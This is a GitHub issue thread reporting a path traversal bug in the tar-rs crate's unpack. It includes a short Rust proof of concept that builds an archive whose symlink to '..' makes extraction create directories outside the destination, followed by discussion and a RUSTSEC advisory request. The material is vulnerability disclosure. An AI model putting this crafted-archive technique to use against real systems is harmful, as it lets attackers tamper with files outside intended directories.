alexcrichton/tar-rs

unpack_in allows creating directories outside the `dst` directory

mgjm opened this issue · 3 comments

mgjm commented

The following code will create the folders exploit and exploit/foo outside of the demo folder:

use std::{fs::File, io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

Entry::unpack_in calls fs::create_dir_all (src/entry.rs:406) on the untrusted path and therefore can create directories outside of the dst directory.

Note: The provided code will fail with the expected error that symlink/exploit/foo/bar is outside of demo, but the parent directories are already created outside of the demo folder.

This is kind of related to #129, but still works in the current master.

I'm having trouble reproducing this with tar v0.4.35:

Error: Custom { kind: Other, error: TarError { desc: "trying to unpack outside of destination path: /redacted/exploit/demo", io: Custom { kind: Other, error: "Invalid argument" } } }

Can this issue be closed?

Correction: The file isn't written but the folders are still created in the parent directory with the most recent version.

@alexcrichton we have a request to add a RUSTSEC advisory for this, FYI rustsec/advisory-db#965

Thanks for the heads up!